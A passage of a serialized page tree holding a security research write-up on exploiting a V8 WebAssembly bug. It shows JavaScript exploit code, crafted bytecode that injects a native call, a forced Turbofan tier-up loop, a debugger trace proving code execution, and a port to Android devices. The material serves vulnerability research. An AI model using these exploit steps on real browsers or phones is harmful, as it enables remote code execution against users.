6,"props":139625,"children":139626},{"class":6916,"line":7551},[139627,139631,139635,139639,139643,139647,139651,139655,139659,139663,139667,139671,139675,139679,139683,139687,139691,139695,139699,139703,139707,139711,139715,139719,139723,139727,139731,139735,139739,139743,139747,139751,139755,139759,139763,139767,139771,139775,139779,139783,139787,139791,139795,139799,139803,139807,139811,139815,139819,139823,139827,139832,139836,139840],{"type":25,"tag":216,"props":139628,"children":139629},{"style":6983},[139630],{"type":31,"value":138123},{"type":25,"tag":216,"props":139632,"children":139633},{"style":6958},[139634],{"type":31,"value":7020},{"type":25,"tag":216,"props":139636,"children":139637},{"style":6983},[139638],{"type":31,"value":1876},{"type":25,"tag":216,"props":139640,"children":139641},{"style":6958},[139642],{"type":31,"value":7020},{"type":25,"tag":216,"props":139644,"children":139645},{"style":6983},[139646],{"type":31,"value":1876},{"type":25,"tag":216,"props":139648,"children":139649},{"style":6958},[139650],{"type":31,"value":7020},{"type":25,"tag":216,"props":139652,"children":139653},{"style":6983},[139654],{"type":31,"value":1876},{"type":25,"tag":216,"props":139656,"children":139657},{"style":6958},[139658],{"type":31,"value":7020},{"type":25,"tag":216,"props":139660,"children":139661},{"style":6983},[139662],{"type":31,"value":1876},{"type":25,"tag":216,"props":139664,"children":139665},{"style":6958},[139666],{"type":31,"value":7020},{"type":25,"tag":216,"props":139668,"children":139669},{"style":6983},[139670],{"type":31,"value":1876},{"type":25,"tag":216,"props":139672,"children":139673},{"style":6958},[139674],{"type":31,"value":7020},{"type":25,"tag":216,"props":139676,"children":139677},{"style":6983},[139678],{"type":31,"value":1876},{"type":25,"tag":216,"props":139680,"children":139681},{"style":6958},[139682],{"type":31,"value":7020},{"type":25,"tag":216,"props":139684,"children":139685},{"style":6983},[139686],{"type":31,"value":1876},{"type":25,"tag":216,"props":139688,"children":139689},{"style":6958},[139690],{"type":31,"value":7020},{"type":25,"tag":216,"props":139692,"children":139693},{"style":6983},[139694],{"type":31,"value":1876},{"type":25,"tag":216,"props":139696,"children":139697},{"style":6958},[139698],{"type":31,"value":7020},{"type":25,"tag":216,"props":139700,"children":139701},{"style":6983},[139702],{"type":31,"value":1876},{"type":25,"tag":216,"props":139704,"children":139705},{"style":6958},[139706],{"type":31,"value":7020},{"type":25,"tag":216,"props":139708,"children":139709},{"style":6983},[139710],{"type":31,"value":1876},{"type":25,"tag":216,"props":139712,"children":139713},{"style":6958},[139714],{"type":31,"value":7020},{"type":25,"tag":216,"props":139716,"children":139717},{"style":6983},[139718],{"type":31,"value":1876},{"type":25,"tag":216,"props":139720,"children":139721},{"style":6958},[139722],{"type":31,"value":7020},{"type":25,"tag":216,"props":139724,"children":139725},{"style":6983},[139726],{"type":31,"value":1876},{"type":25,"tag":216,"props":139728,"children":139729},{"style":6958},[139730],{"type":31,"value":7020},{"type":25,"tag":216,"props":139732,"children":139733},{"style":6983},[139734],{"type":31,"value":1876},{"type":25,"tag":216,"props":139736,"children":139737},{"style":6958},[139738],{"type":31,"value":7020},{"type":25,"tag":216,"props":139740,"children":139741},{"style":6983},[139742],{"type":31,"value":1876},{"type":25,"tag":216,"props":139744,"children":139745},{"style":6958},[139746],{"type":31,"value":7020},{"type":25,"tag":216,"props":139748,"children":139749},{"style":6983},[139750],{"type":31,"value":1876},{"type":25,"tag":216,"props":139752,"children":139753},{"style":6958},[139754],{"type":31,"value":7020},{"type":25,"tag":216,"props":139756,"children":139757},{"style":6983},[139758],{"type":31,"value":1876},{"type":25,"tag":216,"props":139760,"children":139761},{"style":6958},[139762],{"type":31,"value":7020},{"type":25,"tag":216,"props":139764,"children":139765},{"style":6983},[139766],{"type":31,"value":1876},{"type":25,"tag":216,"props":139768,"children":139769},{"style":6958},[139770],{"type":31,"value":7020},{"type":25,"tag":216,"props":139772,"children":139773},{"style":6983},[139774],{"type":31,"value":1876},{"type":25,"tag":216,"props":139776,"children":139777},{"style":6958},[139778],{"type":31,"value":7020},{"type":25,"tag":216,"props":139780,"children":139781},{"style":6983},[139782],{"type":31,"value":1876},{"type":25,"tag":216,"props":139784,"children":139785},{"style":6958},[139786],{"type":31,"value":7020},{"type":25,"tag":216,"props":139788,"children":139789},{"style":6983},[139790],{"type":31,"value":1876},{"type":25,"tag":216,"props":139792,"children":139793},{"style":6958},[139794],{"type":31,"value":7020},{"type":25,"tag":216,"props":139796,"children":139797},{"style":6983},[139798],{"type":31,"value":1876},{"type":25,"tag":216,"props":139800,"children":139801},{"style":6958},[139802],{"type":31,"value":7020},{"type":25,"tag":216,"props":139804,"children":139805},{"style":6983},[139806],{"type":31,"value":1876},{"type":25,"tag":216,"props":139808,"children":139809},{"style":6958},[139810],{"type":31,"value":7020},{"type":25,"tag":216,"props":139812,"children":139813},{"style":6983},[139814],{"type":31,"value":33377},{"type":25,"tag":216,"props":139816,"children":139817},{"style":6958},[139818],{"type":31,"value":7020},{"type":25,"tag":216,"props":139820,"children":139821},{"style":6983},[139822],{"type":31,"value":139375},{"type":25,"tag":216,"props":139824,"children":139825},{"style":6958},[139826],{"type":31,"value":7020},{"type":25,"tag":216,"props":139828,"children":139829},{"style":6983},[139830],{"type":31,"value":139831},"198",{"type":25,"tag":216,"props":139833,"children":139834},{"style":6958},[139835],{"type":31,"value":7020},{"type":25,"tag":216,"props":139837,"children":139838},{"style":6983},[139839],{"type":31,"value":1876},{"type":25,"tag":216,"props":139841,"children":139842},{"style":6958},[139843],{"type":31,"value":7459},{"type":25,"tag":216,"props":139845,"children":139846},{"class":6916,"line":7568},[139847],{"type":25,"tag":216,"props":139848,"children":139849},{"style":6958},[139850],{"type":31,"value":138410},{"type":25,"tag":216,"props":139852,"children":139853},{"class":6916,"line":7585},[139854,139858,139863,139867,139872,139876,139880,139884,139888,139892,139896],{"type":25,"tag":216,"props":139855,"children":139856},{"style":6930},[139857],{"type":31,"value":11801},{"type":25,"tag":216,"props":139859,"children":139860},{"style":6941},[139861],{"type":31,"value":139862}," r",{"type":25,"tag":216,"props":139864,"children":139865},{"style":6947},[139866],{"type":31,"value":6950},{"type":25,"tag":216,"props":139868,"children":139869},{"style":7041},[139870],{"type":31,"value":139871}," bug",{"type":25,"tag":216,"props":139873,"children":139874},{"style":6958},[139875],{"type":31,"value":1844},{"type":25,"tag":216,"props":139877,"children":139878},{"style":6941},[139879],{"type":31,"value":137741},{"type":25,"tag":216,"props":139881,"children":139882},{"style":6958},[139883],{"type":31,"value":7020},{"type":25,"tag":216,"props":139885,"children":139886},{"style":6941},[139887],{"type":31,"value":129068},{"type":25,"tag":216,"props":139889,"children":139890},{"style":6958},[139891],{"type":31,"value":179},{"type":25,"tag":216,"props":139893,"children":139894},{"style":6941},[139895],{"type":31,"value":129068},{"type":25,"tag":216,"props":139897,"children":139898},{"style":6958},[139899],{"type":31,"value":7791},{"type":25,"tag":216,"props":139901,"children":139902},{"class":6916,"line":7598},[139903,139908,139912,139916,139920,139924,139928,139932,139937,139941],{"type":25,"tag":216,"props":139904,"children":139905},{"style":6941},[139906],{"type":31,"value":139907},"  result",{"type":25,"tag":216,"props":139909,"children":139910},{"style":6947},[139911],{"type":31,"value":6950},{"type":25,"tag":216,"props":139913,"children":139914},{"style":6958},[139915],{"type":31,"value":7010},{"type":25,"tag":216,"props":139917,"children":139918},{"style":6967},[139919],{"type":31,"value":36872},{"type":25,"tag":216,"props":139921,"children":139922},{"style":6941},[139923],{"type":31,"value":139862},{"type":25,"tag":216,"props":139925,"children":139926},{"style":6958},[139927],{"type":31,"value":179},{"type":25,"tag":216,"props":139929,"children":139930},{"style":7041},[139931],{"type":31,"value":61527},{"type":25,"tag":216,"props":139933,"children":139934},{"style":6958},[139935],{"type":31,"value":139936},"()).",{"type":25,"tag":216,"props":139938,"children":139939},{"style":6941},[139940],{"type":31,"value":43109},{"type":25,"tag":216,"props":139942,"children":139943},{"style":6958},[139944],{"type":31,"value":6961},{"type":25,"tag":216,"props":139946,"children":139947},{"class":6916,"line":7607},[139948,139952,139957,139961,139965,139969,139973,139977,139981,139985],{"type":25,"tag":216,"props":139949,"children":139950},{"style":6930},[139951],{"type":31,"value":40145},{"type":25,"tag":216,"props":139953,"children":139954},{"style":6941},[139955],{"type":31,"value":139956}," wasm_instance",{"type":25,"tag":216,"props":139958,"children":139959},{"style":6947},[139960],{"type":31,"value":6950},{"type":25,"tag":216,"props":139962,"children":139963},{"style":6930},[139964],{"type":31,"value":35889},{"type":25,"tag":216,"props":139966,"children":139967},{"style":6941},[139968],{"type":31,"value":137724},{"type":25,"tag":216,"props":139970,"children":139971},{"style":6958},[139972],{"type":31,"value":179},{"type":25,"tag":216,"props":139974,"children":139975},{"style":7041},[139976],{"type":31,"value":137778},{"type":25,"tag":216,"props":139978,"children":139979},{"style":6958},[139980],{"type":31,"value":1844},{"type":25,"tag":216,"props":139982,"children":139983},{"style":6941},[139984],{"type":31,"value":13031},{"type":25,"tag":216,"props":139986,"children":139987},{"style":6958},[139988],{"type":31,"value":7791},{"type":25,"tag":216,"props":139990,"children":139991},{"class":6916,"line":7630},[139992,139996,140000,140004,140008,140012,140016,140020,140024],{"type":25,"tag":216,"props":139993,"children":139994},{"style":6930},[139995],{"type":31,"value":40145},{"type":25,"tag":216,"props":139997,"children":139998},{"style":6941},[139999],{"type":31,"value":36927},{"type":25,"tag":216,"props":140001,"children":140002},{"style":6947},[140003],{"type":31,"value":6950},{"type":25,"tag":216,"props":140005,"children":140006},{"style":6941},[140007],{"type":31,"value":139956},{"type":25,"tag":216,"props":140009,"children":140010},{"style":6958},[140011],{"type":31,"value":179},{"type":25,"tag":216,"props":140013,"children":140014},{"style":6941},[140015],{"type":31,"value":41843},{"type":25,"tag":216,"props":140017,"children":140018},{"style":6958},[140019],{"type":31,"value":179},{"type":25,"tag":216,"props":140021,"children":140022},{"style":6941},[140023],{"type":31,"value":137827},{"type":25,"tag":216,"props":140025,"children":140026},{"style":6958},[140027],{"type":31,"value":6961},{"type":25,"tag":216,"props":140029,"children":140030},{"class":6916,"line":7639},[140031,140036],{"type":25,"tag":216,"props":140032,"children":140033},{"style":7041},[140034],{"type":31,"value":140035},"  f",{"type":25,"tag":216,"props":140037,"children":140038},{"style":6958},[140039],{"type":31,"value":7627},{"type":25,"tag":216,"props":140041,"children":140042},{"class":6916,"line":7648},[140043],{"type":25,"tag":216,"props":140044,"children":140045},{"style":6958},[140046],{"type":31,"value":105937},{"type":25,"tag":38,"props":140048,"children":140049},{},[140050],{"type":31,"value":140051},"Running this in a debugger shows the expected breakpoint:",{"type":25,"tag":206,"props":140053,"children":140055},{"code":140054},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[140056],{"type":25,"tag":82,"props":140057,"children":140058},{"__ignoreMap":7},[140059],{"type":31,"value":140054},{"type":25,"tag":607,"props":140061,"children":140063},{"id":140062},"porting-to-android",[140064],{"type":31,"value":140065},"Porting to Android",{"type":25,"tag":38,"props":140067,"children":140068},{},[140069,140071,140076,140078,140083,140085,140090,140092,140098],{"type":31,"value":140070},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":25,"tag":82,"props":140072,"children":140074},{"className":140073},[],[140075],{"type":31,"value":136856},{"type":31,"value":140077}," fails. We cross-compiled ",{"type":25,"tag":82,"props":140079,"children":140081},{"className":140080},[],[140082],{"type":31,"value":136015},{"type":31,"value":140084}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":25,"tag":82,"props":140086,"children":140088},{"className":140087},[],[140089],{"type":31,"value":136856},{"type":31,"value":140091}," returned ",{"type":25,"tag":82,"props":140093,"children":140095},{"className":140094},[],[140096],{"type":31,"value":140097},"undefined",{"type":31,"value":179},{"type":25,"tag":38,"props":140100,"children":140101},{},[140102,140104,140109,140111,140116],{"type":31,"value":140103},"Instead, we modified the bytecode to call ",{"type":25,"tag":82,"props":140105,"children":140107},{"className":140106},[],[140108],{"type":31,"value":136882},{"type":31,"value":140110}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":25,"tag":82,"props":140112,"children":140114},{"className":140113},[],[140115],{"type":31,"value":136856},{"type":31,"value":179},{"type":25,"tag":206,"props":140118,"children":140120},{"code":140119,"language":39572,"meta":7,"className":39570,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[140121],{"type":25,"tag":82,"props":140122,"children":140123},{"__ignoreMap":7},[140124,140135,140179,140199,140215,140238,140265,140280],{"type":25,"tag":216,"props":140125,"children":140126},{"class":6916,"line":6917},[140127,140131],{"type":25,"tag":216,"props":140128,"children":140129},{"style":6967},[140130],{"type":31,"value":52294},{"type":25,"tag":216,"props":140132,"children":140133},{"style":6958},[140134],{"type":31,"value":7235},{"type":25,"tag":216,"props":140136,"children":140137},{"class":6916,"line":6763},[140138,140142,140146,140150,140154,140158,140162,140167,140171,140175],{"type":25,"tag":216,"props":140139,"children":140140},{"style":6941},[140141],{"type":31,"value":137123},{"type":25,"tag":216,"props":140143,"children":140144},{"style":6958},[140145],{"type":31,"value":80584},{"type":25,"tag":216,"props":140147,"children":140148},{"style":8199},[140149],{"type":31,"value":137132},{"type":25,"tag":216,"props":140151,"children":140152},{"style":6958},[140153],{"type":31,"value":179},{"type":25,"tag":216,"props":140155,"children":140156},{"style":7041},[140157],{"type":31,"value":137141},{"type":25,"tag":216,"props":140159,"children":140160},{"style":6958},[140161],{"type":31,"value":1844},{"type":25,"tag":216,"props":140163,"children":140164},{"style":6983},[140165],{"type":31,"value":140166},"0x059301",{"type":25,"tag":216,"props":140168,"children":140169},{"style":6947},[140170],{"type":31,"value":55218},{"type":25,"tag":216,"props":140172,"children":140173},{"style":6983},[140174],{"type":31,"value":8465},{"type":25,"tag":216,"props":140176,"children":140177},{"style":6958},[140178],{"type":31,"value":137163},{"type":25,"tag":216,"props":140180,"children":140181},{"class":6916,"line":6772},[140182,140186,140190,140195],{"type":25,"tag":216,"props":140183,"children":140184},{"style":6941},[140185],{"type":31,"value":137171},{"type":25,"tag":216,"props":140187,"children":140188},{"style":6947},[140189],{"type":31,"value":12852},{"type":25,"tag":216,"props":140191,"children":140192},{"style":6983},[140193],{"type":31,"value":140194}," 0x03027a6c",{"type":25,"tag":216,"props":140196,"children":140197},{"style":6958},[140198],{"type":31,"value":6961},{"type":25,"tag":216,"props":140200,"children":140201},{"class":6916,"line":6999},[140202,140206,140211],{"type":25,"tag":216,"props":140203,"children":140204},{"style":6967},[140205],{"type":31,"value":39159},{"type":25,"tag":216,"props":140207,"children":140208},{"style":6983},[140209],{"type":31,"value":140210}," 0x393e71a",{"type":25,"tag":216,"props":140212,"children":140213},{"style":6958},[140214],{"type":31,"value":6961},{"type":25,"tag":216,"props":140216,"children":140217},{"class":6916,"line":7104},[140218,140222,140226,140230,140234],{"type":25,"tag":216,"props":140219,"children":140220},{"style":6958},[140221],{"type":31,"value":50836},{"type":25,"tag":216,"props":140223,"children":140224},{"style":6967},[140225],{"type":31,"value":52374},{"type":25,"tag":216,"props":140227,"children":140228},{"style":6958},[140229],{"type":31,"value":7010},{"type":25,"tag":216,"props":140231,"children":140232},{"style":6941},[140233],{"type":31,"value":2393},{"type":25,"tag":216,"props":140235,"children":140236},{"style":6958},[140237],{"type":31,"value":18755},{"type":25,"tag":216,"props":140239,"children":140240},{"class":6916,"line":7210},[140241,140245,140249,140253,140257,140261],{"type":25,"tag":216,"props":140242,"children":140243},{"style":6941},[140244],{"type":31,"value":105896},{"type":25,"tag":216,"props":140246,"children":140247},{"style":6958},[140248],{"type":31,"value":179},{"type":25,"tag":216,"props":140250,"children":140251},{"style":7041},[140252],{"type":31,"value":105905},{"type":25,"tag":216,"props":140254,"children":140255},{"style":6958},[140256],{"type":31,"value":1844},{"type":25,"tag":216,"props":140258,"children":140259},{"style":8199},[140260],{"type":31,"value":137247},{"type":25,"tag":216,"props":140262,"children":140263},{"style":6958},[140264],{"type":31,"value":7791},{"type":25,"tag":216,"props":140266,"children":140267},{"class":6916,"line":7238},[140268,140272,140276],{"type":25,"tag":216,"props":140269,"children":140270},{"style":6967},[140271],{"type":31,"value":137259},{"type":25,"tag":216,"props":140273,"children":140274},{"style":6941},[140275],{"type":31,"value":137264},{"type":25,"tag":216,"props":140277,"children":140278},{"style":6958},[140279],{"type":31,"value":6961},{"type":25,"tag":216,"props":140281,"children":140282},{"class":6916,"line":7251},[140283],{"type":25,"tag":216,"props":140284,"children":140285},{"style":6958},[140286],{"type":31,"value":7868},{"type":25,"tag":38,"props":140288,"children":140289},{},[140290,140292,140298,140300,140306,140308,140314,140316,140321,140323,140329,140331,140336,140337,140343],{"type":31,"value":140291},"Here, ",{"type":25,"tag":82,"props":140293,"children":140295},{"className":140294},[],[140296],{"type":31,"value":140297},"a1 + 0x03027a6c",{"type":31,"value":140299}," generates the bytes ",{"type":25,"tag":82,"props":140301,"children":140303},{"className":140302},[],[140304],{"type":31,"value":140305},"01 4b 6c 7a 02 03",{"type":31,"value":140307},", where ",{"type":25,"tag":82,"props":140309,"children":140311},{"className":140310},[],[140312],{"type":31,"value":140313},"0x6c",{"type":31,"value":140315}," is the ",{"type":25,"tag":82,"props":140317,"children":140319},{"className":140318},[],[140320],{"type":31,"value":136840},{"type":31,"value":140322}," opcode, ",{"type":25,"tag":82,"props":140324,"children":140326},{"className":140325},[],[140327],{"type":31,"value":140328},"0x027a",{"type":31,"value":140330}," is the function ID of ",{"type":25,"tag":82,"props":140332,"children":140334},{"className":140333},[],[140335],{"type":31,"value":136882},{"type":31,"value":10433},{"type":25,"tag":82,"props":140338,"children":140340},{"className":140339},[],[140341],{"type":31,"value":140342},"0x03",{"type":31,"value":140344}," is the register index holding its first argument.",{"type":25,"tag":38,"props":140346,"children":140347},{},[140348,140350,140355,140356,140361,140363,140368],{"type":31,"value":140349},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":25,"tag":82,"props":140351,"children":140353},{"className":140352},[],[140354],{"type":31,"value":136882},{"type":31,"value":1301},{"type":25,"tag":82,"props":140357,"children":140359},{"className":140358},[],[140360],{"type":31,"value":137850},{"type":31,"value":140362},". To avoid patching the bytecode again to invoke ",{"type":25,"tag":82,"props":140364,"children":140366},{"className":140365},[],[140367],{"type":31,"value":137850},{"type":31,"value":140369},", we can force Turbofan to compile the target function like this:",{"type":25,"tag":206,"props":140371,"children":140373},{"code":140372,"language":39572,"meta":7,"className":39570,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[140374],{"type":25,"tag":82,"props":140375,"children":140376},{"__ignoreMap":7},[140377,140385,140445,140457],{"type":25,"tag":216,"props":140378,"children":140379},{"class":6916,"line":6917},[140380],{"type":25,"tag":216,"props":140381,"children":140382},{"style":6921},[140383],{"type":31,"value":140384},"// %WasmTierUpFunction(func);\n",{"type":25,"tag":216,"props":140386,"children":140387},{"class":6916,"line":6763},[140388,140392,140396,140400,140404,140408,140412,140416,140420,140424,140429,140433,140437,140441],{"type":25,"tag":216,"props":140389,"children":140390},{"style":6967},[140391],{"type":31,"value":7343},{"type":25,"tag":216,"props":140393,"children":140394},{"style":6958},[140395],{"type":31,"value":7010},{"type":25,"tag":216,"props":140397,"children":140398},{"style":6930},[140399],{"type":31,"value":15737},{"type":25,"tag":216,"props":140401,"children":140402},{"style":6941},[140403],{"type":31,"value":7348},{"type":25,"tag":216,"props":140405,"children":140406},{"style":6947},[140407],{"type":31,"value":6950},{"type":25,"tag":216,"props":140409,"children":140410},{"style":6983},[140411],{"type":31,"value":6986},{"type":25,"tag":216,"props":140413,"children":140414},{"style":6958},[140415],{"type":31,"value":21178},{"type":25,"tag":216,"props":140417,"children":140418},{"style":6941},[140419],{"type":31,"value":2283},{"type":25,"tag":216,"props":140421,"children":140422},{"style":6947},[140423],{"type":31,"value":12666},{"type":25,"tag":216,"props":140425,"children":140426},{"style":6983},[140427],{"type":31,"value":140428}," 0x100000",{"type":25,"tag":216,"props":140430,"children":140431},{"style":6958},[140432],{"type":31,"value":21178},{"type":25,"tag":216,"props":140434,"children":140435},{"style":6941},[140436],{"type":31,"value":2283},{"type":25,"tag":216,"props":140438,"children":140439},{"style":6947},[140440],{"type":31,"value":55232},{"type":25,"tag":216,"props":140442,"children":140443},{"style":6958},[140444],{"type":31,"value":18755},{"type":25,"tag":216,"props":140446,"children":140447},{"class":6916,"line":6772},[140448,140453],{"type":25,"tag":216,"props":140449,"children":140450},{"style":7041},[140451],{"type":31,"value":140452},"  func",{"type":25,"tag":216,"props":140454,"children":140455},{"style":6958},[140456],{"type":31,"value":7627},{"type":25,"tag":216,"props":140458,"children":140459},{"class":6916,"line":6999},[140460],{"type":25,"tag":216,"props":140461,"children":140462},{"style":6958},[140463],{"type":31,"value":7868},{"type":25,"tag":38,"props":140465,"children":140466},{},[140467],{"type":31,"value":140468},"Finally, running this code on the device:",{"type":25,"tag":206,"props":140470,"children":140472},{"code":140471,"language":39572,"meta":7,"className":39570,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[140473],{"type":25,"tag":82,"props":140474,"children":140475},{"__ignoreMap":7},[140476,140499,140527,140746,140813,140820,140863,140906,140945,140952,140960,141020,141032,141039,141046,141077,141120,141147,141154,141190,141253],{"type":25,"tag":216,"props":140477,"children":140478},{"class":6916,"line":6917},[140479,140483,140487,140491,140495],{"type":25,"tag":216,"props":140480,"children":140481},{"style":6958},[140482],{"type":31,"value":1844},{"type":25,"tag":216,"props":140484,"children":140485},{"style":6930},[140486],{"type":31,"value":40102},{"type":25,"tag":216,"props":140488,"children":140489},{"style":6958},[140490],{"type":31,"value":43654},{"type":25,"tag":216,"props":140492,"children":140493},{"style":6930},[140494],{"type":31,"value":18773},{"type":25,"tag":216,"props":140496,"children":140497},{"style":6958},[140498],{"type":31,"value":7235},{"type":25,"tag":216,"props":140500,"children":140501},{"class":6916,"line":6763},[140502,140507,140511,140515,140519,140523],{"type":25,"tag":216,"props":140503,"children":140504},{"style":6930},[140505],{"type":31,"value":140506},"  var",{"type":25,"tag":216,"props":140508,"children":140509},{"style":6941},[140510],{"type":31,"value":137380},{"type":25,"tag":216,"props":140512,"children":140513},{"style":6947},[140514],{"type":31,"value":6950},{"type":25,"tag":216,"props":140516,"children":140517},{"style":6930},[140518],{"type":31,"value":35889},{"type":25,"tag":216,"props":140520,"children":140521},{"style":7041},[140522],{"type":31,"value":137393},{"type":25,"tag":216,"props":140524,"children":140525},{"style":6958},[140526],{"type":31,"value":137398},{"type":25,"tag":216,"props":140528,"children":140529},{"class":6916,"line":6772},[140530,140534,140538,140542,140546,140550,140554,140558,140562,140566,140570,140574,140578,140582,140586,140590,140594,140598,140602,140606,140610,140614,140618,140622,140626,140630,140634,140638,140642,140646,140650,140654,140658,140662,140666,140670,140674,140678,140682,140686,140690,140694,140698,140702,140706,140710,140714,140718,140722,140726,140730,140734,140738,140742],{"type":25,"tag":216,"props":140531,"children":140532},{"style":6983},[140533],{"type":31,"value":138123},{"type":25,"tag":216,"props":140535,"children":140536},{"style":6958},[140537],{"type":31,"value":7020},{"type":25,"tag":216,"props":140539,"children":140540},{"style":6983},[140541],{"type":31,"value":137415},{"type":25,"tag":216,"props":140543,"children":140544},{"style":6958},[140545],{"type":31,"value":7020},{"type":25,"tag":216,"props":140547,"children":140548},{"style":6983},[140549],{"type":31,"value":137424},{"type":25,"tag":216,"props":140551,"children":140552},{"style":6958},[140553],{"type":31,"value":7020},{"type":25,"tag":216,"props":140555,"children":140556},{"style":6983},[140557],{"type":31,"value":137433},{"type":25,"tag":216,"props":140559,"children":140560},{"style":6958},[140561],{"type":31,"value":7020},{"type":25,"tag":216,"props":140563,"children":140564},{"style":6983},[140565],{"type":31,"value":184},{"type":25,"tag":216,"props":140567,"children":140568},{"style":6958},[140569],{"type":31,"value":7020},{"type":25,"tag":216,"props":140571,"children":140572},{"style":6983},[140573],{"type":31,"value":1876},{"type":25,"tag":216,"props":140575,"children":140576},{"style":6958},[140577],{"type":31,"value":7020},{"type":25,"tag":216,"props":140579,"children":140580},{"style":6983},[140581],{"type":31,"value":1876},{"type":25,"tag":216,"props":140583,"children":140584},{"style":6958},[140585],{"type":31,"value":7020},{"type":25,"tag":216,"props":140587,"children":140588},{"style":6983},[140589],{"type":31,"value":1876},{"type":25,"tag":216,"props":140591,"children":140592},{"style":6958},[140593],{"type":31,"value":7020},{"type":25,"tag":216,"props":140595,"children":140596},{"style":6983},[140597],{"type":31,"value":184},{"type":25,"tag":216,"props":140599,"children":140600},{"style":6958},[140601],{"type":31,"value":7020},{"type":25,"tag":216,"props":140603,"children":140604},{"style":6983},[140605],{"type":31,"value":21480},{"type":25,"tag":216,"props":140607,"children":140608},{"style":6958},[140609],{"type":31,"value":7020},{"type":25,"tag":216,"props":140611,"children":140612},{"style":6983},[140613],{"type":31,"value":184},{"type":25,"tag":216,"props":140615,"children":140616},{"style":6958},[140617],{"type":31,"value":7020},{"type":25,"tag":216,"props":140619,"children":140620},{"style":6983},[140621],{"type":31,"value":137498},{"type":25,"tag":216,"props":140623,"children":140624},{"style":6958},[140625],{"type":31,"value":7020},{"type":25,"tag":216,"props":140627,"children":140628},{"style":6983},[140629],{"type":31,"value":1876},{"type":25,"tag":216,"props":140631,"children":140632},{"style":6958},[140633],{"type":31,"value":7020},{"type":25,"tag":216,"props":140635,"children":140636},{"style":6983},[140637],{"type":31,"value":1876},{"type":25,"tag":216,"props":140639,"children":140640},{"style":6958},[140641],{"type":31,"value":7020},{"type":25,"tag":216,"props":140643,"children":140644},{"style":6983},[140645],{"type":31,"value":21247},{"type":25,"tag":216,"props":140647,"children":140648},{"style":6958},[140649],{"type":31,"value":7020},{"type":25,"tag":216,"props":140651,"children":140652},{"style":6983},[140653],{"type":31,"value":331},{"type":25,"tag":216,"props":140655,"children":140656},{"style":6958},[140657],{"type":31,"value":7020},{"type":25,"tag":216,"props":140659,"children":140660},{"style":6983},[140661],{"type":31,"value":184},{"type":25,"tag":216,"props":140663,"children":140664},{"style":6958},[140665],{"type":31,"value":7020},{"type":25,"tag":216,"props":140667,"children":140668},{"style":6983},[140669],{"type":31,"value":1876},{"type":25,"tag":216,"props":140671,"children":140672},{"style":6958},[140673],{"type":31,"value":7020},{"type":25,"tag":216,"props":140675,"children":140676},{"style":6983},[140677],{"type":31,"value":58633},{"type":25,"tag":216,"props":140679,"children":140680},{"style":6958},[140681],{"type":31,"value":7020},{"type":25,"tag":216,"props":140683,"children":140684},{"style":6983},[140685],{"type":31,"value":59848},{"type":25,"tag":216,"props":140687,"children":140688},{"style":6958},[140689],{"type":31,"value":7020},{"type":25,"tag":216,"props":140691,"children":140692},{"style":6983},[140693],{"type":31,"value":184},{"type":25,"tag":216,"props":140695,"children":140696},{"style":6958},[140697],{"type":31,"value":7020},{"type":25,"tag":216,"props":140699,"children":140700},{"style":6983},[140701],{"type":31,"value":22061},{"type":25,"tag":216,"props":140703,"children":140704},{"style":6958},[140705],{"type":31,"value":7020},{"type":25,"tag":216,"props":140707,"children":140708},{"style":6983},[140709],{"type":31,"value":137424},{"type":25,"tag":216,"props":140711,"children":140712},{"style":6958},[140713],{"type":31,"value":7020},{"type":25,"tag":216,"props":140715,"children":140716},{"style":6983},[140717],{"type":31,"value":137595},{"type":25,"tag":216,"props":140719,"children":140720},{"style":6958},[140721],{"type":31,"value":7020},{"type":25,"tag":216,"props":140723,"children":140724},{"style":6983},[140725],{"type":31,"value":137604},{"type":25,"tag":216,"props":140727,"children":140728},{"style":6958},[140729],{"type":31,"value":7020},{"type":25,"tag":216,"props":140731,"children":140732},{"style":6983},[140733],{"type":31,"value":137613},{"type":25,"tag":216,"props":140735,"children":140736},{"style":6958},[140737],{"type":31,"value":7020},{"type":25,"tag":216,"props":140739,"children":140740},{"style":6983},[140741],{"type":31,"value":137613},{"type":25,"tag":216,"props":140743,"children":140744},{"style":6958},[140745],{"type":31,"value":7459},{"type":25,"tag":216,"props":140747,"children":140748},{"class":6916,"line":6999},[140749,140753,140757,140761,140765,140769,140773,140777,140781,140785,140789,140793,140797,140801,140805,140809],{"type":25,"tag":216,"props":140750,"children":140751},{"style":6983},[140752],{"type":31,"value":138123},{"type":25,"tag":216,"props":140754,"children":140755},{"style":6958},[140756],{"type":31,"value":7020},{"type":25,"tag":216,"props":140758,"children":140759},{"style":6983},[140760],{"type":31,"value":1876},{"type":25,"tag":216,"props":140762,"children":140763},{"style":6958},[140764],{"type":31,"value":7020},{"type":25,"tag":216,"props":140766,"children":140767},{"style":6983},[140768],{"type":31,"value":93218},{"type":25,"tag":216,"props":140770,"children":140771},{"style":6958},[140772],{"type":31,"value":7020},{"type":25,"tag":216,"props":140774,"children":140775},{"style":6983},[140776],{"type":31,"value":21480},{"type":25,"tag"